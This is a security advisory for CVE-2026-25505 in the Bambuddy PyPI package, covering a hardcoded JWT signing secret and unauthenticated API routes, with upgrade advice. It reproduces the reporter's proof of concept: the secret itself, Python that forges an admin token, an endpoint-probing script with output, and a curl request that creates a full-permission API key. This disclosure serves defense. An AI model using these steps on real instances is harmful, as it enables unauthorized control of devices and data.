CVE-2026-25505: Bambuddy Bambuddy Uses Hardcoded Secret Key Vulnerability

CRITICAL
Advisory Identifier: GHSA-gc24-px2r-5qmf
CVSS 9.8
CWE-321 CWE-306
Published
Advisory Summary

CVE-2026-25505 is a CRITICAL (CVSS 9.8) bambuddy uses hardcoded secret key vulnerability (CWE-321: Use of Hard-coded Cryptographic Key) affecting Bambuddy libraries in the PyPI ecosystem. The issue involves bambuddy uses hardcoded secret key + many api endpoints do not require authentication. Remediation is available by upgrading affected packages to version 0.1.7.

CVE-2026-25505 at a Glance

CVE Identifier CVE-2026-25505
GHSA Identifier GHSA-gc24-px2r-5qmf
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-321: Use of Hard-coded Cryptographic Key
Affected Product Bambuddy
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-25505

To remediate this vulnerability, upgrade all affected Bambuddy dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

bambuddy fixed: 0.1.7
pip install bambuddy>=0.1.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show bambuddy

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-25505, inspect your installed packages using pip:

pip show bambuddy

Analyze the terminal output to locate any version of Bambuddy in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.1.7), your application is affected.

Note: The pip show bambuddy command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-321: Use of Hard-coded Cryptographic Key, where the product uses a hard-coded, unchangeable cryptographic key. In Bambuddy, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary 1. A hardcoded secret key used for signing JWTs is checked into source code 2. ManyAPI routes do not check authentication ### Details I am using the publicly available docker image at `ghcr.io/maziggy/bambuddy` #### 1. Hardcoded JWT Secret Key https://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28 <details> <summary>Copying the Authorization token from a request via browser networking tools into JWT.io confirms the token is signed with this key</summary> <img width="1591" height="937" alt="image" src="https://github.com/user-attachments/assets/fd6e805a-9380-438f-a412-623660fa3f5a" /> </details> Any attacker can: 1. Forge valid JWT tokens for any user 2. Bypass authentication entirely 3. Gain full administrative access to any Bambuddy instance using the default key **Steps to Reproduce:** 1. Run an instance of BamBuddy 2. Create admin user 3. Forge and use JWT: ```python import jwt import requests token = jwt.encode({"sub": "admin", "exp": 9999999999}, "bambuddy-secret-key-change-in-production", algorithm="HS256") resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={"Authorization": f"Bearer {token}"}) print(resp.status_code) # 200 print(resp.text) # {"app":{"version":"0.1.7b","base_dir":"/app/data","archive_dir":"/app/data/archive"},"database": ... ``` #### 2. Most API Routes do not check Auth While investigating the JWT forgery, I noticed that requests without `Authorization` headers still returned information for many endpoints: ```python resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={}) # Empty headers print(resp.status_code) # 200 print(resp.text) # {"app":{"version":"0.1.7b","base_dir":"/app/data","archive_dir":"/app/data/archive"},"database": ... ``` #### Full Script and Output Note: I do not have smart plugs or spoolman set up to verify actual behavior with those endpoints so they are excluded from this script. <details> <summary>Script to test GET endpoints with forged JWT and without any auth</summary> ```python3 #!/usr/bin/env python3 """ Proof of Concept: JWT Forgery via Hardcoded Secret Key (VULN-001) For security research purposes only. Tests all GET endpoints to identify which are accessible without authentication. """ import requests import jwt # Hardcoded secret from backend/app/core/auth.py:28 HARDCODED_SECRET = "bambuddy-secret-key-change-in-production" TARGET = "http://10.0.0.4:8000" API_PREFIX = "/api/v1" # All GET endpoints organized by router ENDPOINTS = { "system": [ "/system/info", ], "auth": [ "/auth/status", "/auth/me", ], "users": [ "/users", "/users/1", "/users/1/items-count", ], "groups": [ "/groups", "/groups/permissions", "/groups/1", ], "settings": [ "/settings", "/settings/check-ffmpeg", "/settings/spoolman", "/settings/backup", "/settings/virtual-printer/models", "/settings/virtual-printer", "/settings/mqtt/status", ], "printers": [ "/printers/", "/printers/usb-cameras", "/printers/1", "/printers/1/status", "/printers/1/current-print-user", "/printers/1/cover", "/printers/1/files", "/printers/1/storage", "/printers/1/logging", "/printers/1/slot-presets", "/printers/1/slot-presets/1/1", "/printers/1/print/objects", "/printers/1/runtime-debug", "/printers/1/camera/status", "/printers/1/camera/test", "/printers/1/camera/plate-detection/status", "/printers/1/camera/plate-detection/references", "/printers/1/kprofiles/", "/printers/1/kprofiles/notes", ], "archives": [ "/archives/", "/archives/search", "/archives/compare", "/archives/analysis/failures", "/archives/stats", "/archives/tags", "/archives/1", "/archives/1/similar", "/archives/1/duplicates", "/archives/1/capabilities", "/archives/1/gcode", "/archives/1/plates", "/archives/1/filament-requirements", "/archives/1/project-page", "/archives/1/source", ], "filaments": [ "/filaments/", "/filaments/1", "/filaments/by-type/pla", ], "cloud": [ "/cloud/status", "/cloud/settings", "/cloud/settings/1", "/cloud/devices", "/cloud/firmware-updates", "/cloud/fields", "/cloud/fields/print", ], "queue": [ "/queue/", "/queue/1", ], "notifications": [ "/notifications/", "/notifications/logs", "/notifications/logs/stats", "/notifications/1", ], "notification_templates": [ "/notification-templates", "/notification-templates/variables", "/notification-templates/1", ], "updates": [ "/updates/version", "/updates/check", "/updates/status", ], "maintenance": [ "/maintenance/types", "/maintenance/overview", "/maintenance/summary", "/maintenance/printers/1", "/maintenance/items/1/history", ], "external_links": [ "/external-links/", "/external-links/1", ], "projects": [ "/projects", "/projects/templates", "/projects/1", "/projects/1/archives", "/projects/1/queue", "/projects/1/bom", "/projects/1/timeline", ], "library": [ "/library/folders", "/library/folders/by-archive/1", "/library/folders/by-project/1", "/library/files", "/library/stats", "/library/folders/1", "/library/files/1", "/library/files/1/plates", "/library/files/1/gcode", "/library/files/1/filament-requirements", ], "api_keys": [ "/api-keys/", "/api-keys/1", ], "webhook": [ "/webhook/printer/1/status", "/webhook/queue", ], "ams_history": [ "/ams-history/1/1", ], "support": [ "/support/debug-logging", "/support/logs", ], "discovery": [ "/discovery/info", "/discovery/status", "/discovery/printers", "/discovery/scan/status", ], "pending_uploads": [ "/pending-uploads/", "/pending-uploads/count", "/pending-uploads/1", ], "firmware": [ "/firmware/updates", "/firmware/updates/1", "/firmware/latest", ], "github_backup": [ "/github-backup/config", "/github-backup/status", "/github-backup/logs", ], "metrics": [ "/metrics", ], } def forge_token(): """Forge a valid JWT token using the hardcoded secret.""" payload = {"sub": "admin", "exp": 9999999999} return jwt.encode(payload, HARDCODED_SECRET, algorithm="HS256") def test_endpoint(endpoint, headers): """Test a single endpoint and return status.""" try: resp = requests.get(f"{TARGET}{API_PREFIX}{endpoint}", headers=headers, timeout=5) return resp.status_code, resp.text[:100] if resp.status_code == 200 else None except requests.RequestException as e: return "ERROR", str(e)[:50] def main(): token = forge_token() print(f"[*] Forged JWT token:\n {token}\n") # Test with no auth, then with forged JWT test_modes = [ ("NO AUTH", {}), ("FORGED JWT", {"Authorization": f"Bearer {token}"}), ] results = {"no_auth": [], "jwt_only": [], "both_fail": []} print(f"[*] Testing {sum(len(v) for v in ENDPOINTS.values())} endpoints against {TARGET}\n") print("=" * 70) for category, endpoints in ENDPOINTS.items(): print(f"\n[{category.upper()}]") for endpoint in endpoints: no_auth_status, _ = test_endpoint(endpoint, {}) jwt_status, preview = test_endpoint(endpoint, {"Authorization": f"Bearer {token}"}) if no_auth_status == 200: results["no_auth"].append(endpoint) print(f" {endpoint}: NO AUTH REQUIRED") elif jwt_status == 200: results["jwt_only"].append(endpoint) print(f" {endpoint}: JWT WORKS") else: results["both_fail"].append((endpoint, no_auth_status, jwt_status)) print(f" {endpoint}: {no_auth_status} / {jwt_status}") # Summary print("\n" + "=" * 70) print("\n[SUMMARY]\n") print(f"Endpoints accessible WITHOUT authentication ({len(results['no_auth'])}):") for ep in results["no_auth"]: print(f" - {ep}") print(f"\nEndpoints accessible with FORGED JWT only ({len(results['jwt_only'])}):") for ep in results["jwt_only"]: print(f" - {ep}") print(f"\nEndpoints that rejected both ({len(results['both_fail'])}):") for ep, no_auth, jwt_auth in results["both_fail"]: print(f" - {ep} (no_auth: {no_auth}, jwt: {jwt_auth})") if __name__ == "__main__": main() ``` </details> <details> <summary>Script output</summary> ``` [*] Forged JWT token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzcGVlbmFoIiwiZXhwIjo5OTk5OTk5OTk5fQ.xeUmpf4PkhI7jHHGBPLWQEQQ4GTiiUOENeQkPpvNMnA [*] Testing 117 endpoints against http://10.0.0.4:8000 ====================================================================== [SYSTEM] /system/info: NO AUTH REQUIRED [AUTH] /auth/status: NO AUTH REQUIRED /auth/me: JWT WORKS [USERS] /users: JWT WORKS /users/1: JWT WORKS /users/1/items-count: JWT WORKS [GROUPS] /groups: JWT WORKS /groups/permissions: JWT WORKS /groups/1: JWT WORKS [SETTINGS] /settings: NO AUTH REQUIRED /settings/check-ffmpeg: NO AUTH REQUIRED /settings/spoolman: NO AUTH REQUIRED /settings/backup: NO AUTH REQUIRED /settings/virtual-printer/models: NO AUTH REQUIRED /settings/virtual-printer: NO AUTH REQUIRED /settings/mqtt/status: NO AUTH REQUIRED [PRINTERS] /printers/: JWT WORKS /printers/usb-cameras: JWT WORKS /printers/1: JWT WORKS /printers/1/status: JWT WORKS /printers/1/current-print-user: JWT WORKS /printers/1/cover: JWT WORKS /printers/1/files: JWT WORKS /printers/1/storage: JWT WORKS /printers/1/logging: JWT WORKS /printers/1/slot-presets: JWT WORKS /printers/1/slot-presets/1/1: JWT WORKS /printers/1/print/objects: JWT WORKS /printers/1/runtime-debug: JWT WORKS /printers/1/camera/status: NO AUTH REQUIRED /printers/1/camera/test: ERROR / ERROR /printers/1/camera/plate-detection/status: NO AUTH REQUIRED /printers/1/camera/plate-detection/references: NO AUTH REQUIRED /printers/1/kprofiles/: ERROR / ERROR /printers/1/kprofiles/notes: NO AUTH REQUIRED [ARCHIVES] /archives/: NO AUTH REQUIRED /archives/search: 422 / 422 /archives/compare: 422 / 422 /archives/analysis/failures: NO AUTH REQUIRED /archives/stats: NO AUTH REQUIRED /archives/tags: NO AUTH REQUIRED /archives/1: NO AUTH REQUIRED /archives/1/similar: NO AUTH REQUIRED /archives/1/duplicates: NO AUTH REQUIRED /archives/1/capabilities: NO AUTH REQUIRED /archives/1/gcode: NO AUTH REQUIRED /archives/1/plates: NO AUTH REQUIRED /archives/1/filament-requirements: NO AUTH REQUIRED /archives/1/project-page: NO AUTH REQUIRED /archives/1/source: 404 / 404 [FILAMENTS] /filaments/: NO AUTH REQUIRED /filaments/1: NO AUTH REQUIRED /filaments/by-type/pla: NO AUTH REQUIRED [CLOUD] /cloud/status: NO AUTH REQUIRED /cloud/settings: 401 / 401 /cloud/settings/1: 401 / 401 /cloud/devices: 401 / 401 /cloud/firmware-updates: 401 / 401 /cloud/fields: NO AUTH REQUIRED /cloud/fields/print: NO AUTH REQUIRED [QUEUE] /queue/: NO AUTH REQUIRED /queue/1: 404 / 404 [NOTIFICATIONS] /notifications/: NO AUTH REQUIRED /notifications/logs: NO AUTH REQUIRED /notifications/logs/stats: NO AUTH REQUIRED /notifications/1: 404 / 404 [NOTIFICATION_TEMPLATES] /notification-templates: NO AUTH REQUIRED /notification-templates/variables: NO AUTH REQUIRED /notification-templates/1: NO AUTH REQUIRED [UPDATES] /updates/version: NO AUTH REQUIRED /updates/check: NO AUTH REQUIRED /updates/status: NO AUTH REQUIRED [MAINTENANCE] /maintenance/types: NO AUTH REQUIRED /maintenance/overview: NO AUTH REQUIRED /maintenance/summary: NO AUTH REQUIRED /maintenance/printers/1: NO AUTH REQUIRED /maintenance/items/1/history: NO AUTH REQUIRED [EXTERNAL_LINKS] /external-links/: NO AUTH REQUIRED /external-links/1: 404 / 404 [PROJECTS] /projects: NO AUTH REQUIRED /projects/templates: NO AUTH REQUIRED /projects/1: NO AUTH REQUIRED /projects/1/archives: NO AUTH REQUIRED /projects/1/queue: NO AUTH REQUIRED /projects/1/bom: NO AUTH REQUIRED /projects/1/timeline: NO AUTH REQUIRED [LIBRARY] /library/folders: NO AUTH REQUIRED /library/folders/by-archive/1: NO AUTH REQUIRED /library/folders/by-project/1: NO AUTH REQUIRED /library/files: NO AUTH REQUIRED /library/stats: NO AUTH REQUIRED /library/folders/1: NO AUTH REQUIRED /library/files/1: 404 / 404 /library/files/1/plates: 404 / 404 /library/files/1/gcode: 404 / 404 /library/files/1/filament-requirements: 404 / 404 [API_KEYS] /api-keys/: NO AUTH REQUIRED /api-keys/1: NO AUTH REQUIRED [WEBHOOK] /webhook/printer/1/status: 401 / 401 /webhook/queue: 401 / 401 [AMS_HISTORY] /ams-history/1/1: NO AUTH REQUIRED [SUPPORT] /support/debug-logging: NO AUTH REQUIRED /support/logs: NO AUTH REQUIRED [DISCOVERY] /discovery/info: NO AUTH REQUIRED /discovery/status: NO AUTH REQUIRED /discovery/printers: NO AUTH REQUIRED /discovery/scan/status: NO AUTH REQUIRED [PENDING_UPLOADS] /pending-uploads/: NO AUTH REQUIRED /pending-uploads/count: NO AUTH REQUIRED /pending-uploads/1: 404 / 404 [FIRMWARE] /firmware/updates: NO AUTH REQUIRED /firmware/updates/1: NO AUTH REQUIRED /firmware/latest: NO AUTH REQUIRED [GITHUB_BACKUP] /github-backup/config: NO AUTH REQUIRED /github-backup/status: NO AUTH REQUIRED /github-backup/logs: NO AUTH REQUIRED [METRICS] /metrics: 401 / 401 ====================================================================== [SUMMARY] Endpoints accessible WITHOUT authentication (77): - /system/info - /auth/status - /settings - /settings/check-ffmpeg - /settings/spoolman - /settings/backup - /settings/virtual-printer/models - /settings/virtual-printer - /settings/mqtt/status - /printers/1/camera/status - /printers/1/camera/plate-detection/status - /printers/1/camera/plate-detection/references - /printers/1/kprofiles/notes - /archives/ - /archives/analysis/failures - /archives/stats - /archives/tags - /archives/1 - /archives/1/similar - /archives/1/duplicates - /archives/1/capabilities - /archives/1/gcode - /archives/1/plates - /archives/1/filament-requirements - /archives/1/project-page - /filaments/ - /filaments/1 - /filaments/by-type/pla - /cloud/status - /cloud/fields - /cloud/fields/print - /queue/ - /notifications/ - /notifications/logs - /notifications/logs/stats - /notification-templates - /notification-templates/variables - /notification-templates/1 - /updates/version - /updates/check - /updates/status - /maintenance/types - /maintenance/overview - /maintenance/summary - /maintenance/printers/1 - /maintenance/items/1/history - /external-links/ - /projects - /projects/templates - /projects/1 - /projects/1/archives - /projects/1/queue - /projects/1/bom - /projects/1/timeline - /library/folders - /library/folders/by-archive/1 - /library/folders/by-project/1 - /library/files - /library/stats - /library/folders/1 - /api-keys/ - /api-keys/1 - /ams-history/1/1 - /support/debug-logging - /support/logs - /discovery/info - /discovery/status - /discovery/printers - /discovery/scan/status - /pending-uploads/ - /pending-uploads/count - /firmware/updates - /firmware/updates/1 - /firmware/latest - /github-backup/config - /github-backup/status - /github-backup/logs Endpoints accessible with FORGED JWT only (20): - /auth/me - /users - /users/1 - /users/1/items-count - /groups - /groups/permissions - /groups/1 - /printers/ - /printers/usb-cameras - /printers/1 - /printers/1/status - /printers/1/current-print-user - /printers/1/cover - /printers/1/files - /printers/1/storage - /printers/1/logging - /printers/1/slot-presets - /printers/1/slot-presets/1/1 - /printers/1/print/objects - /printers/1/runtime-debug Endpoints that rejected both (20): - /printers/1/camera/test (no_auth: ERROR, jwt: ERROR) - /printers/1/kprofiles/ (no_auth: ERROR, jwt: ERROR) - /archives/search (no_auth: 422, jwt: 422) - /archives/compare (no_auth: 422, jwt: 422) - /archives/1/source (no_auth: 404, jwt: 404) - /cloud/settings (no_auth: 401, jwt: 401) - /cloud/settings/1 (no_auth: 401, jwt: 401) - /cloud/devices (no_auth: 401, jwt: 401) - /cloud/firmware-updates (no_auth: 401, jwt: 401) - /queue/1 (no_auth: 404, jwt: 404) - /notifications/1 (no_auth: 404, jwt: 404) - /external-links/1 (no_auth: 404, jwt: 404) - /library/files/1 (no_auth: 404, jwt: 404) - /library/files/1/plates (no_auth: 404, jwt: 404) - /library/files/1/gcode (no_auth: 404, jwt: 404) - /library/files/1/filament-requirements (no_auth: 404, jwt: 404) - /webhook/printer/1/status (no_auth: 401, jwt: 401) - /webhook/queue (no_auth: 401, jwt: 401) - /pending-uploads/1 (no_auth: 404, jwt: 404) - /metrics (no_auth: 401, jwt: 401) ``` </details> While this script only tests the GET endpoints, these vulnerabilities are not exclusive to GET endpoints. The GET endpoints were easiest to script since they generally don't require many parameters, but other methods still appear vulnerable. I manually tested `POST /api/v1/api-keys/` and was able to create a new API key with all permissions without auth: ```bash curl 'http://10.0.0.4:8000/api/v1/api-keys/' -X POST -H 'Content-Type: application/json' --data-raw '{"name":"new key","can_queue":true,"can_control_printer":true,"can_read_status":true}' ``` yields ```json {"id":7,"name":"new key","key_prefix":"bb_QW2su...","can_queue":true,"can_control_printer":true,"can_read_status":true,"printer_ids":null,"enabled":true,"last_used":null,"created_at":"2026-02-01T23:14:15","expires_at":null,"key":"bb_QW2suZVIHiUbadSyyAMrnmf0zFhDG5e9BSVBvb4ZN-w"} ``` ### Impact BamBuddy is vulnerable to unauthorized access and control

CVE-2026-25505 Affected Bambuddy Versions

1 component(s)
Fixed Versions:
0.1.7
Product / Package Ecosystem Affected Versions Fixed Version
bambuddy
PyPI
< 0.1.7
0.1.7

References

Frequently Asked Questions

What is CVE-2026-25505?
CVE-2026-25505 is a security vulnerability in Bambuddy involving Bambuddy Uses Hardcoded Secret Key + Many API Endpoints do not Require Authentication under CWE-321: Use of Hard-coded Cryptographic Key.
Which Bambuddy versions are affected?
Affected versions include releases prior to 0.1.7 across affected packages: bambuddy.
What version fixes CVE-2026-25505?
Upgrading to 0.1.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is bambuddy affected?
Yes, bambuddy is affected in releases prior to 0.1.7. Upgrade your dependency to 0.1.7 or later.
What is the CVSS score of CVE-2026-25505?
CVE-2026-25505 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-25505?
CVE-2026-25505 is classified under CWE-321: Use of Hard-coded Cryptographic Key (The product uses a hard-coded, unchangeable cryptographic key.).
How can I check PyPI dependencies for CVE-2026-25505?
Run the dependency tree command: 'pip show bambuddy'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gc24-px2r-5qmf",
  "modified" : "2026-02-06T21:38:03Z",
  "published" : "2026-02-02T21:21:14Z",
  "aliases" : [ "CVE-2026-25505" ],
  "summary" : "Bambuddy Uses Hardcoded Secret Key + Many API Endpoints do not Require Authentication",
  "details" : "### Summary\n1. A hardcoded secret key used for signing JWTs is checked into source code\n2. ManyAPI routes do not check authentication\n\n### Details\nI am using the publicly available docker image at `ghcr.io/maziggy/bambuddy`\n#### 1. Hardcoded JWT Secret Key\nhttps://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28\n\n<details>\n<summary>Copying the Authorization token from a request via browser networking tools into JWT.io confirms the token is signed with this key</summary>\n\n<img width=\"1591\" height=\"937\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fd6e805a-9380-438f-a412-623660fa3f5a\" />\n\n</details>\n\nAny attacker can:\n1. Forge valid JWT tokens for any user\n2. Bypass authentication entirely\n3. Gain full administrative access to any Bambuddy instance using the default key\n\n**Steps to Reproduce:**\n\n1. Run an instance of BamBuddy\n2. Create admin user\n3. Forge and use JWT:\n```python\nimport jwt\nimport requests\n\ntoken = jwt.encode({\"sub\": \"admin\", \"exp\": 9999999999}, \"bambuddy-secret-key-change-in-production\", algorithm=\"HS256\")\nresp = requests.get(\"http://10.0.0.4:8000/api/v1/system/info\", headers={\"Authorization\": f\"Bearer {token}\"})\n\nprint(resp.status_code) # 200\nprint(resp.text) # {\"app\":{\"version\":\"0.1.7b\",\"base_dir\":\"/app/data\",\"archive_dir\":\"/app/data/archive\"},\"database\": ...\n```\n\n#### 2. Most API Routes do not check Auth\nWhile investigating the JWT forgery, I noticed that requests without `Authorization` headers still returned information for many endpoints:\n```python\nresp = requests.get(\"http://10.0.0.4:8000/api/v1/system/info\", headers={}) # Empty headers\n\nprint(resp.status_code) # 200\nprint(resp.text) # {\"app\":{\"version\":\"0.1.7b\",\"base_dir\":\"/app/data\",\"archive_dir\":\"/app/data/archive\"},\"database\": ...\n```\n\n#### Full Script and Output\n\nNote: I do not have smart plugs or spoolman set up to verify actual behavior with those endpoints so they are excluded from this script.\n\n<details>\n<summary>Script to test GET endpoints with forged JWT and without any auth</summary>\n\n```python3\n#!/usr/bin/env python3\n\"\"\"\nProof of Concept: JWT Forgery via Hardcoded Secret Key (VULN-001)\nFor security research purposes only.\n\nTests all GET endpoints to identify which are accessible without authentication.\n\"\"\"\n\nimport requests\nimport jwt\n\n# Hardcoded secret from backend/app/core/auth.py:28\nHARDCODED_SECRET = \"bambuddy-secret-key-change-in-production\"\nTARGET = \"http://10.0.0.4:8000\"\nAPI_PREFIX = \"/api/v1\"\n\n# All GET endpoints organized by router\nENDPOINTS = {\n    \"system\": [\n        \"/system/info\",\n    ],\n    \"auth\": [\n        \"/auth/status\",\n        \"/auth/me\",\n    ],\n    \"users\": [\n        \"/users\",\n        \"/users/1\",\n        \"/users/1/items-count\",\n    ],\n    \"groups\": [\n        \"/groups\",\n        \"/groups/permissions\",\n        \"/groups/1\",\n    ],\n    \"settings\": [\n        \"/settings\",\n        \"/settings/check-ffmpeg\",\n        \"/settings/spoolman\",\n        \"/settings/backup\",\n        \"/settings/virtual-printer/models\",\n        \"/settings/virtual-printer\",\n        \"/settings/mqtt/status\",\n    ],\n    \"printers\": [\n        \"/printers/\",\n        \"/printers/usb-cameras\",\n        \"/printers/1\",\n        \"/printers/1/status\",\n        \"/printers/1/current-print-user\",\n        \"/printers/1/cover\",\n        \"/printers/1/files\",\n        \"/printers/1/storage\",\n        \"/printers/1/logging\",\n        \"/printers/1/slot-presets\",\n        \"/printers/1/slot-presets/1/1\",\n        \"/printers/1/print/objects\",\n        \"/printers/1/runtime-debug\",\n        \"/printers/1/camera/status\",\n        \"/printers/1/camera/test\",\n        \"/printers/1/camera/plate-detection/status\",\n        \"/printers/1/camera/plate-detection/references\",\n        \"/printers/1/kprofiles/\",\n        \"/printers/1/kprofiles/notes\",\n    ],\n    \"archives\": [\n        \"/archives/\",\n        \"/archives/search\",\n        \"/archives/compare\",\n        \"/archives/analysis/failures\",\n        \"/archives/stats\",\n        \"/archives/tags\",\n        \"/archives/1\",\n        \"/archives/1/similar\",\n        \"/archives/1/duplicates\",\n        \"/archives/1/capabilities\",\n        \"/archives/1/gcode\",\n        \"/archives/1/plates\",\n        \"/archives/1/filament-requirements\",\n        \"/archives/1/project-page\",\n        \"/archives/1/source\",\n    ],\n    \"filaments\": [\n        \"/filaments/\",\n        \"/filaments/1\",\n        \"/filaments/by-type/pla\",\n    ],\n    \"cloud\": [\n        \"/cloud/status\",\n        \"/cloud/settings\",\n        \"/cloud/settings/1\",\n        \"/cloud/devices\",\n        \"/cloud/firmware-updates\",\n        \"/cloud/fields\",\n        \"/cloud/fields/print\",\n    ],\n    \"queue\": [\n        \"/queue/\",\n        \"/queue/1\",\n    ],\n    \"notifications\": [\n        \"/notifications/\",\n        \"/notifications/logs\",\n        \"/notifications/logs/stats\",\n        \"/notifications/1\",\n    ],\n    \"notification_templates\": [\n        \"/notification-templates\",\n        \"/notification-templates/variables\",\n        \"/notification-templates/1\",\n    ],\n    \"updates\": [\n        \"/updates/version\",\n        \"/updates/check\",\n        \"/updates/status\",\n    ],\n    \"maintenance\": [\n        \"/maintenance/types\",\n        \"/maintenance/overview\",\n        \"/maintenance/summary\",\n        \"/maintenance/printers/1\",\n        \"/maintenance/items/1/history\",\n    ],\n    \"external_links\": [\n        \"/external-links/\",\n        \"/external-links/1\",\n    ],\n    \"projects\": [\n        \"/projects\",\n        \"/projects/templates\",\n        \"/projects/1\",\n        \"/projects/1/archives\",\n        \"/projects/1/queue\",\n        \"/projects/1/bom\",\n        \"/projects/1/timeline\",\n    ],\n    \"library\": [\n        \"/library/folders\",\n        \"/library/folders/by-archive/1\",\n        \"/library/folders/by-project/1\",\n        \"/library/files\",\n        \"/library/stats\",\n        \"/library/folders/1\",\n        \"/library/files/1\",\n        \"/library/files/1/plates\",\n        \"/library/files/1/gcode\",\n        \"/library/files/1/filament-requirements\",\n    ],\n    \"api_keys\": [\n        \"/api-keys/\",\n        \"/api-keys/1\",\n    ],\n    \"webhook\": [\n        \"/webhook/printer/1/status\",\n        \"/webhook/queue\",\n    ],\n    \"ams_history\": [\n        \"/ams-history/1/1\",\n    ],\n    \"support\": [\n        \"/support/debug-logging\",\n        \"/support/logs\",\n    ],\n    \"discovery\": [\n        \"/discovery/info\",\n        \"/discovery/status\",\n        \"/discovery/printers\",\n        \"/discovery/scan/status\",\n    ],\n    \"pending_uploads\": [\n        \"/pending-uploads/\",\n        \"/pending-uploads/count\",\n        \"/pending-uploads/1\",\n    ],\n    \"firmware\": [\n        \"/firmware/updates\",\n        \"/firmware/updates/1\",\n        \"/firmware/latest\",\n    ],\n    \"github_backup\": [\n        \"/github-backup/config\",\n        \"/github-backup/status\",\n        \"/github-backup/logs\",\n    ],\n    \"metrics\": [\n        \"/metrics\",\n    ],\n}\n\n\ndef forge_token():\n    \"\"\"Forge a valid JWT token using the hardcoded secret.\"\"\"\n    payload = {\"sub\": \"admin\", \"exp\": 9999999999}\n    return jwt.encode(payload, HARDCODED_SECRET, algorithm=\"HS256\")\n\n\ndef test_endpoint(endpoint, headers):\n    \"\"\"Test a single endpoint and return status.\"\"\"\n    try:\n        resp = requests.get(f\"{TARGET}{API_PREFIX}{endpoint}\", headers=headers, timeout=5)\n        return resp.status_code, resp.text[:100] if resp.status_code == 200 else None\n    except requests.RequestException as e:\n        return \"ERROR\", str(e)[:50]\n\n\ndef main():\n    token = forge_token()\n    print(f\"[*] Forged JWT token:\\n    {token}\\n\")\n\n    # Test with no auth, then with forged JWT\n    test_modes = [\n        (\"NO AUTH\", {}),\n        (\"FORGED JWT\", {\"Authorization\": f\"Bearer {token}\"}),\n    ]\n\n    results = {\"no_auth\": [], \"jwt_only\": [], \"both_fail\": []}\n\n    print(f\"[*] Testing {sum(len(v) for v in ENDPOINTS.values())} endpoints against {TARGET}\\n\")\n    print(\"=\" * 70)\n\n    for category, endpoints in ENDPOINTS.items():\n        print(f\"\\n[{category.upper()}]\")\n\n        for endpoint in endpoints:\n            no_auth_status, _ = test_endpoint(endpoint, {})\n            jwt_status, preview = test_endpoint(endpoint, {\"Authorization\": f\"Bearer {token}\"})\n\n            if no_auth_status == 200:\n                results[\"no_auth\"].append(endpoint)\n                print(f\"  {endpoint}: NO AUTH REQUIRED\")\n            elif jwt_status == 200:\n                results[\"jwt_only\"].append(endpoint)\n                print(f\"  {endpoint}: JWT WORKS\")\n            else:\n                results[\"both_fail\"].append((endpoint, no_auth_status, jwt_status))\n                print(f\"  {endpoint}: {no_auth_status} / {jwt_status}\")\n\n    # Summary\n    print(\"\\n\" + \"=\" * 70)\n    print(\"\\n[SUMMARY]\\n\")\n\n    print(f\"Endpoints accessible WITHOUT authentication ({len(results['no_auth'])}):\")\n    for ep in results[\"no_auth\"]:\n        print(f\"  - {ep}\")\n\n    print(f\"\\nEndpoints accessible with FORGED JWT only ({len(results['jwt_only'])}):\")\n    for ep in results[\"jwt_only\"]:\n        print(f\"  - {ep}\")\n\n    print(f\"\\nEndpoints that rejected both ({len(results['both_fail'])}):\")\n    for ep, no_auth, jwt_auth in results[\"both_fail\"]:\n        print(f\"  - {ep} (no_auth: {no_auth}, jwt: {jwt_auth})\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n</details>\n\n<details>\n<summary>Script output</summary>\n\n```\n[*] Forged JWT token:\n    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzcGVlbmFoIiwiZXhwIjo5OTk5OTk5OTk5fQ.xeUmpf4PkhI7jHHGBPLWQEQQ4GTiiUOENeQkPpvNMnA\n\n[*] Testing 117 endpoints against http://10.0.0.4:8000\n\n======================================================================\n\n[SYSTEM]\n  /system/info: NO AUTH REQUIRED\n\n[AUTH]\n  /auth/status: NO AUTH REQUIRED\n  /auth/me: JWT WORKS\n\n[USERS]\n  /users: JWT WORKS\n  /users/1: JWT WORKS\n  /users/1/items-count: JWT WORKS\n\n[GROUPS]\n  /groups: JWT WORKS\n  /groups/permissions: JWT WORKS\n  /groups/1: JWT WORKS\n\n[SETTINGS]\n  /settings: NO AUTH REQUIRED\n  /settings/check-ffmpeg: NO AUTH REQUIRED\n  /settings/spoolman: NO AUTH REQUIRED\n  /settings/backup: NO AUTH REQUIRED\n  /settings/virtual-printer/models: NO AUTH REQUIRED\n  /settings/virtual-printer: NO AUTH REQUIRED\n  /settings/mqtt/status: NO AUTH REQUIRED\n\n[PRINTERS]\n  